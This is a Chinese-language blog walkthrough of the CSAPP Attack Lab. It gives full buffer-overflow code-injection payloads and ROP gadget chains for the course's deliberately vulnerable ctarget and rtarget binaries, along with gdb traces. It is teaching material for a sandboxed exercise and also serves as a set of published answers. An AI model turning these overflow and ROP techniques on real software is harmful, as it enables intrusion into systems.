下载实验用的程序戳这里
戳这里下载实验说明

开始

target1里的两个程序,ctraget和rtarget,都有缓冲区溢出的bug。实验要求我们做的,是利用这些bug,让程序通过缓冲区溢出,执行我们想执行的代码。下载的文件夹里,ctarget是做代码注入攻击 (code-injection attacks) 用的。rtarget,还有后面的cookie.txt、hex2raw、farm.c都和后面的ROP攻击(return-oriented-programming, ROP)有关。
writeup里有getbuf()的源码。我们利用的缓冲区的bug,就是在这里出现的。我们从Type string那里输进一个字符串。如果字符串是精心设计好的,正好能把栈里原本的返回地址,用你设计的地址冲掉(这个实验里是touch1、touch2、touch3的地址;如果做到后面,就是gadget的地址)(书上练习3.46),让target执行你想执行的内容,我们的目的就达到了。

Phase 1

前面的writeup看得差不多了,那我们就上手吧~
我们首先看一看getbuf()的汇编代码。

00000000004017a8 <getbuf>:4017a8:  48 83 ec 28             sub    $0x28,%rsp4017ac:    48 89 e7                mov    %rsp,%rdi4017af: e8 8c 02 00 00          callq  401a40 <Gets>4017b4:   b8 01 00 00 00          mov    $0x1,%eax4017b9: 48 83 c4 28             add    $0x28,%rsp4017bd:    c3                      retq   4017be:  90                      nop4017bf:  90                      nop

我们知道,call 0x4017a8(就是调用getbuf())这个指令会把ret指令要返回到的地址压进栈,然后才会跳转到0x4017a8这个地址执行getbuf()的代码。而getbuf()被调用之后,执行的第一行汇编是干什么的?没错,就是将栈指针向栈顶移动40(0x28,敲黑板,十六进制!)个字节。而这40个字节里放的是什么呢?有一部分就是我们敲进去的字符串。也就是说,如果我们敲进去的字符串足够长,比这40个字节还长,它的最后几个字符,就完全可以冲掉原本的返回地址!如果这最后几个字符又恰好是touch1的地址,那么等执行到0x4017bd,也就是getbuf()里的ret指令时,ret指令会直接返回到touch1的地址!Phase1就搞定了!!!
你可以先把字节码写在一个txt里,再借助下载的hex2raw程序,把它直接转换成相应的十六进制字节码。实验说明的附录里有使用方法,这里就不再复述了~其实你也可以用各种16进制文本编辑器帮助你转换,百度一下就能找到不少_ 我这里用的是16进制的文本编辑器:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 C0 17 40 00 00 00 00 00

前面是40个90(十六进制啦),从第三行的C0开始一直到这一行结束都是touch1的地址(小尾数表示!!!)。那四十个90把touch1的地址“垫起来”,让八字节的地址准确地覆盖掉原来存在栈中的地址。在终端里敲进"./ctarget -q < c1"(c1是放你注入的字符串的文件的名字;’<'重定向输入流), 让我们看一下实验效果:

Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:user id   bovikcourse 15213-f15lab    attacklabresult 1:PASS:0xffffffff:ctarget:1:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 C0 17 40 00 00 00 00 00

恭喜恭喜!Phase 1做完啦!

Phase 2

第二个Phase就是真正的"code injection"了,要你在字符串里写一段真正的汇编,之后利用ret指令直接跳转过去……
可我还是有问题呀。
怎么了?
不是有“栈随机化”吗?每次运行程序,字符串开头的地址都不一样,怎么跳转?即使跳过去了,可执行代码的区域也是被严格限制的……放字符串的内存区域,即使放了代码,也没办法执行呀……
哇,看书看得好细致!加个鸡腿!其实,为了方便我们做实验,程序的作者已经帮我们把这些限制机制取消掉了(菜鸡狂喜),也就是说,每次执行,字符串的地址都是一致的,而且,即使是字符串里包含的代码也可以随便跑……放心做好了……
现在继续我们的题目描述吧。touch2函数有一个参数,是这个实验的cookie值,具体是多少看上面的“实验效果”(其实cookie.txt里也有_)。我们要做的就是通过注入的那一段汇编,把cookie加载到rdi寄存器里,之后"call touch2". 这样cookie就被做成touch2的参数,为touch2所用了。很简单对不对?
首先我们需要确定我们应该跳到哪个地址去。来,打开GDB,找到getbuf()的地址,在合适的位置打上断点:

(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.

之后输入 “r -q” 运行程序。程序会在运行到0x4017ac的时候暂停。我们需要跳转到的地址,就是包含在栈指针中的地址。输入"p $rsp",我们可以看到%rsp中的地址是0x5561dc78对不对。这个地址就是我们注入的字符串第一个字符的地址。
好了,我们已经确定了该往哪里跳转。现在该写汇编代码了。
首先,我们需要先把cookie值放到%rdi里,这个当然很简单,直接"movq 0x59b997fa, %rdi" 就行了。那么怎么跳到touch2呢?我们可以回想一下正常情况下函数调用的过程。当我们用"call xxx"指令调用函数时,call指令会把它本身的下一条指令压入栈,并且把指令计数器%rip设成要执行的指令。当这个函数返回,ret指令会把栈中保存的地址弹到%rip中。我们可以通过模拟call指令的行为来达到我们的目的。
所以我们最终写出的汇编是这样的:

movq $0x59b997fa, %rdi
pushq $0x4017ec
retq

mov指令把cookie值存到%rdi里做成函数的参数;push指令做了call指令的一部分工作,把touch2的地址(0x4017ec)推入栈;ret指令模拟返回操作——虽然我们前期并没有调用任何函数。
然后我们按照附录B的说明,把这些汇编转换成字节码,再把Phase 1稍加修改:

48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

一大堆00前面那些内容就是上面那些汇编对应的字节码~最后八字节内容是我们用gdb看到的字符串的地址~我们把这些东西放到c2文件里就可以执行啦。

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:user id   bovikcourse 15213-f15lab    attacklabresult 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

很简单对不对?

Phase 3

这题乍一看很简单:不就是把cookie值换成了表示cookie值的字符串了吗?好,我们对上一个Phase中注入的字符串稍作修改:

48 C7 C7 85 DC 61 55 68 FA 18 40 00 C3 35 39 62
39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

看出哪里不同了吗?第一行开头的"48 C7 C7"表示这条指令会把常数移动到%rdi里;这三个字节后面跟着的四个字节就是要放到%rdi里的常数。这里我们把上一个Phase的cookie值改成了指向cookie字符串(第一行C3后面那些)的地址——0x5561dc85,也就是注入字符串的起始地址(后面的0x5561dc78)加上13(正好指向上面第一行的35)。除此之外我们还把push指令要压入栈的touch2地址改成了touch3的地址(68后面四个字节)(相对无关紧要)。C3对应的是ret指令,也就没必要动啦~
之后我们满怀期待地把上面那些字节码注入到程序里:

Cookie: 0x59b997fa
Type string:Misfire: You called touch3("")
FAIL: Would have posted the following:user id   bovikcourse 15213-f15lab    attacklabresult 1:FAIL:0xffffffff:ctarget:3:48 C7 C7 85 DC 61 55 68 FA 18 40 00 C3 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

为什么失败了???
我们观察到输出的信息提示我们touch3的参数是个空串(上面输出第二行:Misfire: You called touch3(""))。不对呀,我们明明把字符串的地址传进去了呀。别急,打开gdb,在touch3开头加上断点:

b *0x4018fa
b *0x401916

当程序运行到第一个断点时,我们输入"x /s $rsi"看一看cookie串的值。没错,确实是"59b997fa":

(gdb) x /s $rsi
0x5561dc85: "59b997fa"

当程序执行完hexmatch函数,又返回到touch3中时(0x401916),我们再来看一看我们当初保存在栈中的值:

(gdb) x /64bx 0x5561dc78
0x5561dc78: 0x00    0x5f    0x48    0xb2    0xda    0x8b    0xf6    0x87
0x5561dc80: 0x85    0xdc    0x61    0x55    0x00    0x00    0x00    0x00
0x5561dc88: 0xe8    0x5f    0x68    0x55    0x00    0x00    0x00    0x00
0x5561dc90: 0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc98: 0x16    0x19    0x40    0x00    0x00    0x00    0x00    0x00
0x5561dca0: 0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
0x5561dca8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dcb0: 0x24    0x1f    0x40    0x00    0x00    0x00    0x00    0x00

上面gdb输出的前六行对应我们注入的字符串的前三行。惊不惊喜!意不意外!执行完hexmatch之后,栈里保存的值就面目全非了!问题一定出在hexmatch里。翻出hexmatch的汇编代码——

000000000040184c <hexmatch>:40184c:    41 54                   push   %r1240184e:  55                      push   %rbp40184f:  53                      push   %rbx401850:  48 83 c4 80             add    $0xffffffffffffff80,%rsp401854:  41 89 fc                mov    %edi,%r12d401857:    48 89 f5                mov    %rsi,%rbp...                           ...

注意到0x401850那一行的内容了吗?这一行把一个数的补码加到了栈指针上!实际上相当于把%rsp减掉了一个值!这样一来,问题就解决了——原来hexmatch把栈指针下移,之后又在栈上进行了一些操作,把我们先前注入的字符串覆盖掉了。这样,只要我们把字符串放在栈指针原来位置的“上面”,问题就解决了。
所以,最后我们把注入的字符串写成这个样子:

48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00

这次应该看得出区别了。“48 C7 C7"后面的"5561dca8"正好是"5561dc78”("48"所在的地址)加上十进制的48,也就是后面"35 39 62…"的地址。而%rsp里的值只能是往下走的(字符串开头对应的地址小),所以这样能保证作为参数的cookie值不会被覆盖。
然后,把新的字符串注入到程序里,感受一下通关的喜悦吧~

Phase 4

不错嘛!尽管前面的过程跌跌撞撞,我们还是做完了全部的"code injection"攻击。接下来我们换一种方式。
我们知道,ctarget没有栈随机化以及限制代码执行区域之类的机制,所以我们在前三个Phase中才能流畅地猜地址、在栈上执行代码。然而rtarget就不一样了。rtarget加入了种种安全机制,因此在ctarget中使用的攻击方法在rtarget中是行不通的。
聪明的攻击者另辟蹊径,想出了其他方法。其中一种是我们将要了解的ROP攻击(return-oriented programming, 个人认为翻成“返回劫持”效果更好?)。ROP攻击的核心在于,在程序可执行的部分中寻找我们想要的字节码片段(即writeup中所说的gadget,意为“虽常见但用到时仍会让人觉得新奇的小工具”,汉语中似乎没有直接对应的词汇),之后用这些gadget拼凑出我们想要的代码。
好了,现在我们来看一看Phase 4的要求。Phase 4思路和Phase 2类似,也是把cookie值做成touch2的参数,之后调用。但这次我们要用ROP来做这件事。gadget在start_farm(这里farm的意思是"an area containing a number of similar structures or objects",不是“农场”_)和middle_farm之间,我们直接反汇编rtarget,看这些gadget的字节码:

000000000040199a <getval_142>:40199a:  b8 fb 78 90 90          mov    $0x909078fb,%eax40199f:  c3                      retq   00000000004019a0 <addval_273>:4019a0:  8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax4019a6:    c3                      retq   00000000004019a7 <addval_219>:4019a7:  8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax4019ad:    c3                      retq   00000000004019ae <setval_237>:4019ae:  c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)4019b4:    c3                      retq   00000000004019b5 <setval_424>:4019b5:  c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)4019bb:    c3                      retq   00000000004019bc <setval_470>:4019bc:  c7 07 63 48 8d c7       movl   $0xc78d4863,(%rdi)4019c2:    c3                      retq   00000000004019c3 <setval_426>:4019c3:  c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)4019c9:    c3                      retq   00000000004019ca <getval_280>:4019ca:  b8 29 58 90 c3          mov    $0xc3905829,%eax4019cf:  c3                      retq

如何将cookie值传到%rdi中呢?writeup提示我们可以使用pop指令。也就是说,我们可以把cookie值放到栈中合适的位置,之后调用pop指令,将值弹入%rdi中。对照writeup中的表格,我们并没有在farm中找到可以直接将数据弹入%rdi的gadget,但我们可以找到将数据弹入%rax的gadget(getval_280, 第一行,“58 90 c3”)。是不是还有将%rax的数据移动到%rdi的gadget呢?再次对照表格,是的!add_val273第一行的"48 89 c7 c3"就是。
知道了gadget都是什么,我们就可以开始写注入的字符串了:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 CC 19 40 00 00 00 00 00
FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00
EC 17 40 00 00 00 00 00

前40个字节当然是随意啦。从第41个字节开始才是真正起作用的内容。回忆一下Phase 1,第41个字节以后的8个字节是不是正好将%rsp指向的原值覆盖掉了?这里也类似,我们用0x4019cc(再次划重点:上面是小尾数表示!!!)这个地址覆盖掉了%rsp指向的值。那么0x4019cc是哪里呢?没错,正是getval_280中"58"所在的地址。getbuf中的ret指令在执行时,会把0x4019cc这个地址弹入%rip中,并把%rsp中的地址加上8。这时%rsp就不再指向"CC"(上面第三行,一堆"90"后面)了,而是指向"FA"(后移八字节的结果)。之后程序开始执行"58 90 c3"这段字节码。“58"将%rsp指向的cookie值(上面的"FA 97 B9 59 00 00 00 00”, cookie的小尾数表示)弹入%rax,“90"表示“无操作”,“c3"对应表示返回的ret指令。和前面类似,ret指令在把程序带到0x4019a2这个地址的同时,也把%rsp中的地址加8,让它指向最后一行的"EC”。而0x4019a2对应的字节码是"48 89 c7 c3”,和前面类似,也是执行了mov操作之后返回。返回到哪里呢?鉴于现在%rsp指向的值是0x4017ec,那么程序自然会返回到这个地址。而这个地址又恰好是touch2的地址。
到家了,对不对?使用ROP的Phase 4就做完啦。

Phase 5

欢迎来到Phase 5!有一说一,这个Phase确实很难,基本上就是在寄存器里兜圈子……
这个Phase要求我们像在Phase 3里那样,把用字符串形式表示的cookie做成参数传到touch3里。但是因为栈随机化,每次运行时我们注入的字符串的地址都是不同的,所以在ctarget里那样用固定地址的办法在这里是行不通的。那怎么得到注入字符串的地址呢?一个很自然的想法是,先确定栈指针的地址(%rsp里的值),再把这个地址加上一个偏移量,就能得到cookie字符串的地址。
怎么加呢?
这实在是个直击灵魂的拷问。
writeup中并没有直接说明addq之类的指令对应的字节码,反而是详细地介绍了各种逻辑操作的字节码。可是用这些逻辑操作生凑出加法的效果也太魔幻了。
既然writeup里没有提示,那就去farm文件里看看那些gadget。果不其然,我们发现了一个函数:

/* Add two arguments */
long add_xy(long x, long y)
{return x+y;
}

这不正是我们想要的吗?于是接下来的事情就变成了如何把%rsp和偏移量移动到%rdi、%rsi两个寄存器里。我们先不管哪个寄存器应该放栈指针,哪个寄存器应该放偏移量,而是先把farm里和%rdi、%rsi有关的所有gadget都(用记事本的查找)找出来。可是我们只能在farm里分别给每个寄存器找到一条指令:movl %ecx, %esi还有movq %rax, %rdi。我们还需要pop指令,因为要把偏移量弹到寄存器里。可是pop指令也只能找到一种:popq %rax。
看来还不行。你或许觉得,可以直接把偏移量弹到%rdi中,可是这样做不行。对于64位的系统,栈指针的地址是64位,%esi放不下的。所以我们顺藤摸瓜,找目标是%*cx和%rax的指令。好在很顺利地找到了——addval_190中的"48 89 e0 c3", 正好对应的是"movq %rsp, %rax";可是至于%*cx, 只能在getval_159里找到"89 d1 38 c9 c3", 也就是"movl %edx, %ecx"(至于中间的38 c9是什么?是writeup里的逻辑运算啦~不会影响寄存器中的值的~)。那只能继续找目标是%*dx的指令了。好在"89 c2"很多很多,我们在这里选择getval_481里的。
这样一路顺藤摸瓜下来,字符串怎么注入也就基本明确了。对于偏移量,我们先把它弹到%rax,然后辗转%edx、%ecx,最终到达%esi;而栈指针就好处理多了,只要中转%rax就行了。
最后双手捧上完整的字符串:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 06 1A 40 00 00 00 00 00
C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00
34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00
D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00
FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61

眼晕吗?确实,writeup中作者的友情提示(“If you have other pressing obligations consider stopping right now.”)是十分有道理的。别看最后整理出来只有上面一段话,实际上真的从头做下来是很耗时的(一上午!)。
我们的字符串首先处理栈指针的地址。最开始,栈指针指向的地址就是"90"后面的"06"。getbuf中的ret指令执行之后,这个地址被弹到%rip中,栈指针后移八字节,指向下一行的"C5". 而0x401a06这个地址背后是什么呢?是"48 89 e0 c3"。前三个字节的指令把%rsp中的值(此时就是"C5"的地址)移动到%rax中,而后面的"c3"再次把%rsp指向的值(0x4019c5)弹到%rip中,并将%rsp后移。0x4019c5指向setval_426中的"48 89 c7 90 c3", 是把%rax的值移入%rdi的指令。填了%rdi,接下来该处理偏移量了。
刚才"c3"之后,栈指针再次后移(现在指向的是第四行行首那个字节),并且又有一个新的地址(0x4019ab)被弹入%rip。此时%rip中的地址对应的字节码是"58 90 c3", 正是把栈指针指向的值(也就是偏移量)弹入%rax的指令。当然,偏移量具体是多少,我们现在还不知道,要等到所有的地址都码完再来确定。不知道也没关系,先留出八字节的空位(因为是popq)。
接下来字符串中的几个地址,0x4019dd,0x401a34,0x401a27,都是倒腾寄存器用的,先从%rax到%edx,再到%ecx,最后才到%rsi。至于后面的0x4019d6, 就是add_xy的地址啦。我们前面已经把栈指针、偏移量都填到对应的寄存器里了,执行完add_xy,就能得到指向cookie字符串的地址了。当然,这个地址在%rax里,我们再用一次0x4019c5那里的gadget,把%rax的值搬到%rdi里,等这个gadget返回之后,写上touch3的地址(0x4018fa)就行了。
现在我们回过头来看偏移量。紧跟着touch3地址的就是cookie字符串。那么这个字符串的地址,究竟和我们移入%rdi的栈指针地址差了多少呢?当移动栈指针的指令执行时,栈指针指向第四行行首的"C5". 也就是说,我们移入的是"C5"这个字节所在的地址。要求偏移量,只要数一数"C5"和最后一行的"35"差了多少字节就行了。很明显,是72个。我们把它转换成十六进制,也就是48. 把这个48放到先前留的八字节的空位里,就大功告成了。
好了,这些就是attacklab的全部内容。记得吃饭的时候给自己加个鸡腿哦。

深入理解计算机系统(CSAPP) attack-lab详解相关推荐

  1. 2020-11-26((《深入理解计算机系统》多级页表详解)补充)

    今日总结: 今天主要把11-25(<深入理解操作系统>多级页表详解)第一部分看懂,并把它做了一个补充,让看博客的各位更能深刻理解,谢谢各位支持,一起加油 明日目标: 复习大学物理,线性代数 ...

  2. 2020-11-25(《深入理解计算机系统》多级页表详解)

    一.端到端地址翻译示例 从图上看,TLBI占了t位,而TLBT占了n-p-t位. 上节我们刚把TLB开了个头,多说无益,还是具体来玩个实际例子吧,具体来做一个端到端(虚拟地址到物理地址)的地址翻译示例 ...

  3. 深入理解计算机系统|Attack Lab

    文章目录 Code Injection Phase_1 Phase_2 Phase_3 R O P Phase_4 Phase_5 小结 Code Injection Phase_1 任务 执行完 g ...

  4. 深入理解计算机系统(3)——attack lab

    目录 用到的指令 第一部分:Code Injection Attacks phase 1 phase 2 phase 3 第二部分:Return-Oriented Programming Attack ...

  5. 【转载】NeurIPS 2018 | 腾讯AI Lab详解3大热点:模型压缩、机器学习及最优化算法...

    原文:NeurIPS 2018 | 腾讯AI Lab详解3大热点:模型压缩.机器学习及最优化算法 导读 AI领域顶会NeurIPS正在加拿大蒙特利尔举办.本文针对实验室关注的几个研究热点,模型压缩.自 ...

  6. 自然语言处理NLP星空智能对话机器人系列:第21章:基于Bayesian Theory的MRC文本理解基础经典模型算法详解

    自然语言处理NLP星空智能对话机器人系列: 第21章:基于Bayesian Theory的MRC文本理解基础经典模型算法详解 1,Bayesian prior在模型训练时候对Weight控制.训练速度 ...

  7. 深入理解计算机系统(CSAPP)含lab详解 完结

    文章目录 深入理解计算机操作系统-第一章 1.1 信息就是位 + 上下文 1.2 程序被其他程序翻译成不同的格式 1.3 了解编译系统如何工作是大有益处的 1.4 处理器读并解释储存在内存中的指令 1 ...

  8. 深入理解计算机系统(CSAPP) 实验详解:CacheLab

    近一段时间项目太忙导致没有继续,还好最近空下来一些,咱们继续冲! 更新历史 20210104开始更新 20210107完成实验一内容 本文介绍的是CSAPP书籍中的第四个lab: Cache lab. ...

  9. CSAPP实验之Bomb Lab详解

    前言 Bomb Lab来自<深入理解计算机系统>(CSAPP)一书的第三章"程序的机器级表示"的配套实验,该实验的目的是通过反汇编可执行程序,来反推出程序执行内容,进而 ...

  10. CSAPP:Attack lab

    关注公号[逆向通信猿]更精彩!!! 原文地址:https://www.jianshu.com/p/db731ca57342 本文介绍的是CSAPP书籍中的第三个lab: Attack lab.通过这个 ...

最新文章

  1. 生命如何在复杂环境中生存?信息、调控和几何结构的交织
  2. PHP简单实现一言 / 随机一句功能
  3. 解析mysqlbinlog日志_每日学点---Mysql的binlog日志解析导出
  4. mac升级之后safari打不开网页,怎么办?
  5. C语言(CED)排序算法总结。比较完整和详细
  6. Android Media Framework(1): 总纲
  7. [杂记]注册电气工程师考试复习及考试杂谈
  8. 通过阿里云容器镜像服务下载谷歌gcr.io镜像
  9. html中的布局方式,网页设计常见的5种布局方式
  10. pc端vue登录如何调用软键盘_vue.js怎样隐藏软键盘
  11. 切片器可以设置日期格式?_切片器知识干货整理
  12. 笔记本html外接显示器,提升效率 笔记本外接显示器(Intel篇)
  13. R语言绘图、数据处理学习记录持续更新
  14. 折纸效果! Cocos Creator 3.0
  15. python变成exe1023无标题_GitHub - Qing1023/Python-100-Days: Python - 100天从新手到大师
  16. hadoop生态圈的理解
  17. 谭民机器人_科学网—中科院自动化所喻俊志,谭民研究员等:冰雪运动生物力学及其机器人研究进展 - 欧彦的博文...
  18. 在HTML中如何加入一个PDF文件,怎么给pdf文件插入页面?
  19. 【Golang开发面经】蔚来(两轮技术面)
  20. 数字时代的我们,需要什么样的生活方式?

热门文章

  1. 网页编程软件:Coda 2 for Mac
  2. 基于单片机的电子琴系统设计(#0424)
  3. vue3+ts+ant-table横向表格数据实现对单元格过滤之后的数据进行标红
  4. 怎么开发联机小游戏_惊!!!个人游戏开发者的福音来了!
  5. 服务器定位cpu高占用率代码php,面试官:线上服务器CPU占用率高如何排查定位问题?,...
  6. C/C++ 程序员的职业生涯规划,你想从事哪方面呢?这里都有介绍
  7. 小程序之日历(状态版)
  8. python3结果窗口打开_python3+PyQt5 使用三种不同的简便项窗口部件显示数据的方法...
  9. Codeforces Educational Round#21 F(808F) Solution:网络流(最小割)
  10. java .vm_java VM